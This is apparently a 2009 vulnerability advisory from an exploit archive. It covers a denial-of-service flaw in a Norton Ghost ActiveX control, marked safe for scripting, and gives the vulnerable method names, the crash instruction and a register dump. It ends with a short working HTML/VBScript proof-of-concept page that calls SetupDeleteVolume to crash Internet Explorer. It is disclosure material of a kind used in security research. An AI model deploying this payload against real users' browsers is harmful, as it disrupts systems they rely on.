70 lines
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2.2 KiB
Text
70 lines
No EOL
2.2 KiB
Text
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Norton Ghost Support module for EasySetup wizard Remote DoS/Arbitrary code execution(?)
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url: http://www.symantec.com/
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Author: shinnai
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mail: shinnai[at]autistici[dot]org
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site: http://www.shinnai.net/
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File: EasySetupInt.dll
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Ver.: 14.0.4.30167
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ProgID: Symantec.EasySetup.1
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Descr.: CEasySetup Object - Support module for EasySetup wizard
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Marked as: RegKey Safe for Script: True
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RegKey Safe for Init: True
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Implements IObjectSafety: False
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KillBitSet: False
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Bug info: This component contains methods which lead into a denial of
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service.
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This is the list of components:
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"GetBackupLocationPath"
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"CallUninstall"
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"SetupDeleteVolume"
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"CanUseEasySetup"
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"CallAddInitialProtection"
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"CallTour"
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Crash happens here:
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03A6B9D6 8B10 MOV EDX,DWORD PTR DS:[EAX]
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And registers risuation is:
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EAX 00000000
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ECX 774F9997 ole32.774F9997
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EDX 019DCB04
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EBX 00000000
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ESP 019DCAE4
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EBP 019DCB9C
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ESI 019DCCB8
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EDI 00000001
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EIP 03A6B9D6 EasySetu.03A6B9D6
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Unfortunately the vulnerability seems to be unexploitable, anyway
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I've found a way to execute arbitrary code but it's useless
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because requires a high level of user interaction to work.
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That's why it will remain private.
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I hope that someone else will be able to exploit this vuln
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using more convenient ways.
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Peace
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This was written for educational purpose. Use it at your own risk.
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Author will be not responsible for any damage.
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Tested on Windows XP Professional SP3 with Internet Explorer 7
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<object classid='clsid:7972D5BE-2213-4B28-884C-F8F82432EAA5' id='test'></object>
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<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>
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<script language='vbscript'>
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Sub tryMe
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test.SetupDeleteVolume()
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End Sub
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</script>
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# milw0rm.com [2009-04-23] |